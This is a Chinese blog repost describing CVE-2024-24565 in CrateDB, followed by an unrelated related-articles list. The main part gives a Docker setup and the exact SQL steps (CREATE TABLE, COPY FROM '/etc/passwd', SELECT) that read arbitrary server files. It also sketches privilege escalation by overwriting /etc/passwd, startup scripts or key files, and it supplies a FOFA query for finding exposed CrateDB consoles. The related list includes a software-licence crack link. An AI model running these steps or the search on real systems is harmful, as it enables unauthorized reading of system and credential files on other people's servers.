CVE-2024-24565 CrateDB数据库任意文件读取漏洞

目录

前言

简介

​编辑

环境搭建

漏洞复现


前言

本次介绍的漏洞不同与以往, 本次洞更多是适用于利用数据库提权。

利用数据库的导入导出数据的功能,我们往往可以将内部的一些敏感文件如/etc/passwd导入到数据库进行查看。也可以将数据导入到一些特定的目录进行提权,如启动脚本任务,替换/etc/passwd,公钥文件.....,。这些都是数据库常规的提权思路,本次介绍的CrateDB就存在这样问题,除此之外它管理页面直接暴露在前端,无需身份校验。攻击者便可以直接执行sql语句。

简介

CrateDB 是一个分布式且可扩展的 SQL 数据库,用于近乎实时地存储和分析大量数据,甚至可以进行复杂的查询。它与 PostgreSQL 兼容,并且基于 Lucene。

CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中,从而造成信息泄露。

官方文档参考

CrateDB Database Product Overview

Data manipulation — CrateDB: Reference

环境搭建

直接运行docker

sudo docker run --publish=4200:4200 --publish=5432:5432 --env CRATE_HEAP_SIZE=1g --pull=always crate:5.6.1

如果出现,下面的报错

[1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] by adding vm.max_map_count = 262144 to /etc/sysctl.conf or invoking sysctl -w vm.max_map_count=262144

执行以下命令来临时修改 vm.max_map_count 的值:

sudo sysctl -w vm.max_map_count=262144

漏洞复现

打开前端管理页面

进入控制台执行sql命令

依次执行如下命令

CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);
SELECT * FROM info_leak;

1.CREATE TABLE info_leak(info_leak STRING);

2.COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);

3.SELECT * FROM info_leak;

成功查看到etc/passwd文件 漏洞验证成功。

附赠fofa语句

FOFA搜索语句

title="CrateDB"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/398447.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Android 基础技术——Framework

笔者希望做一个系列,整理 Android 基础技术,本章是关于 Framework 简述 Android 系统启动流程 当按电源键触发开机,首先会从 ROM 中预定义的地方加载引导程序 BootLoader 到 RAM 中,并执行 BootLoader 程序启动 Linux Kernel&…

见微知著:数据可视化助力数字化时代决策智慧

在数字化时代的浪潮中,数据可视化显然是推动数字化进程不可或缺的利器。通过将复杂的数据转化为直观的图形和图表,数据可视化为企业和组织提供了更清晰、更有效的方式来理解和应用大量的数字信息。下面我就以可视化从业者的角度,来简单聊聊这…

Spring Boot项目怎么对System.setProperty(key, value)设置的属性进行读取加解密

一、前言 之前我写过一篇文章使用SM4国密加密算法对Spring Boot项目数据库连接信息以及yaml文件配置属性进行加密配置(读取时自动解密),对Spring Boot项目的属性读取时进行加解密,但是没有说明对System.setProperty(key, value)设…

高性能三防平板有哪几款推荐的|亿道三防onerugged

我非常荣幸地向大家推荐几款高性能的三防平板电脑,这些产品都来自亿道三防onerugged系列。它们以其卓越的性能和出色的工艺设计,成为行业中备受瞩目的产品。 首先,让我们关注这些高性能三防平板所搭载的处理器。这些产品采用了基于Intel Cor…

opencv之cvScalar

CV_INLINE CvScalar cvScalar( double val0, double val1 CV_DEFAULT(0), double val2 CV_DEFAULT(0), double val3 CV_DEFAULT(0)) { CvScalar scalar; scalar.val[0] val0; scalar.val[1] val1; scalar.val[2] val2; scalar.val[3] val3; return scalar; } 该函数的…

【ArcGIS微课1000例】0104:二位面状数据转三维多面体(建筑物按高度拉伸)

文章目录 一、加载数据二、添加高度字段三、三维拉伸显示四、生成三维体数据五、注意事项一、加载数据 打开ArcScene,加载配套实验数据(0104.rar中的二维建筑物矢量数据,订阅专栏,获取专栏所有文章阅读权限及配套数据),如下图所示: 二、添加高度字段 本实验将二维数据…

k8s除了可以直接运行docker镜像之外,还可以运行什么? springboot项目打包成的压缩包可以直接运行在docker容器中吗?

Kubernetes(k8s)主要设计用于自动部署、扩展和管理容器化应用程序。虽然它与Docker容器最为密切相关,Kubernetes实际上是与容器运行时技术无关的,这意味着它不仅仅能够管理Docker容器。Kubernetes支持多种容器运行时,包…

潇洒郎:2024 IDEA、Pycharm获取最新激活码获取方式

IDEA获取最新激活码 https://idea.javatiku.cn/ 手机打开,看到验证码,30分钟有效,输入验证码 获取到最新激活码

Python Flask高级编程之RESTFul API前后端分离(学习笔记)

Flask-RESTful是一个强大的Python库,用于构建RESTful APIs。它建立在Flask框架之上,提供了一套简单易用的工具,可以帮助你快速地创建API接口。Flask-RESTful遵循REST原则,支持常见的HTTP请求方法,如GET、POST、PUT和DE…

PostgreSQL面试题-灿总题

面试题来源 :PostgreSQL学徒 PostgreSQL面试题集锦 已有的答案:Hehuyi_In 《PostgreSQL面试题集锦》学习与回答 一、MVCC 实现机制以及和 Oracle 的差异 ORACLE,MYSQL都是使用的UNDO来实现多版本并发控制,undo条目记录在从额外…

多维时序 | Matlab实现基于VMD-DBO-BiLSTM、VMD-BiLSTM、BiLSTM的多变量时间序列预测

多维时序 | Matlab实现基于VMD-DBO-BiLSTM、VMD-BiLSTM、BiLSTM的多变量时间序列预测 目录 多维时序 | Matlab实现基于VMD-DBO-BiLSTM、VMD-BiLSTM、BiLSTM的多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 Matlab实现基于VMD-DBO-BiLSTM、VMD-BiLSTM、…

说一下JVM类加载机制?

Java中的所有类,都需要由类加载器装载到JVM中才能运行。类加载器本身也是一个类,而它的工作就是把class文件从硬盘读取到内存中。 在写程序的时候,我们几乎不需要关心类的加载,因为这些都是隐式装载的,除非我们有特殊…

HTB pwn Bad gradesRestaurant

Bad grades 没有开启ASLR 在功能2存在越界写,虽然有canary但是可以通过输入’-绕过。 输入数据可以利用python的struct解包成双精度浮点数,做了这些就是常规的ROP环节了。 exp from pwn import * def gd():gdb.attach(p)pause() def htd(hex_value):binary hex_value.to_b…

使用 Nginx 将部署多个子域名http服务重定向到https服务

首先在阿里云解析对应的子域名 打开自己的域名解析 点击添加记录 然后在nginx的配置文件下新增以下内容 # ssl证书地址,是你自己服务器上证书存放的地址 ssl_certificate /ssl/fullchain.cer; ssl_certificate_key /ssl/cert.key;#请按照以下协议配置 ssl_protocols…

JS基础(语法结构变量数据类型运算符流程控制)

JS基础(语法结构/变量/数据类型/运算符/流程控制) 目录 JS基础(语法结构/变量/数据类型/运算符/流程控制)什么是js?注释语法语法结构引入方式【1】script标签内部直接书写js代码【2】script标签src属性引入外部js代码 JS基础数据类型变量与常量变量的定义常量的定义…

OpenHarmony JS和TS三方组件使用指导

OpenHarmony JS和TS三方组件介绍 OpenHarmony JS和TS三方组件使用的是OpenHarmony静态共享包,即HAR(Harmony Archive),可以包含js/ts代码、c库、资源和配置文件。通过HAR,可以实现多个模块或者多个工程共享ArkUI组件、资源等相关代码。HAR不…

calcite在flink中的二次开发,介绍解析器与优化器

calcite 在flink中的二次开发 1 CodeGen2 flink 语法扩展2.1 在进行 Rule 规则匹配时,放开对 Distinct 的限制2.2下面附上一个 利用codegen来生成所需类的例子: 3 flink使用calcite 生成解析器FlinkSqlParserImpl3.1 FlinkSqlParserImpl 的生成3.1.1 fli…

[SwiftUI]启动页LaunchScreen.storyboard中适配状态栏加安全区域的高度

如下图,我有一个需求。在启动页(LaunchScreen.storyboard)和引导页(GuideView)的黑色背景上,使用了同一张正方形图片。要求从启动页切换到引导页时,这两张相同的图片的过渡要无缝衔接&#xff0…

redis的缓存穿透,缓存并发,缓存雪崩,缓存问题及解决方案

缓存穿透 问题原因 解决方案 缓存并发 缓存雪崩 缓存失效时间设置一致导致的。 解决方案: 1)方案一 2)方案二 如何设计一个缓存策略,缓存热点数据?

【2024年湖北二建报考条件解析】不限专业,满足条件就能参加考试

【2024年湖北二建报考条件解析】不限专业,满足条件就能参加考试 2024年湖北二建报考疑问汇总,就近报考轻松搞定! 2024年湖北省二级建造师/二建报考重点梳理 2024年湖北二建网上报名时间2月28号-3月12日。想要考二建的老铁千万不要错过一年一…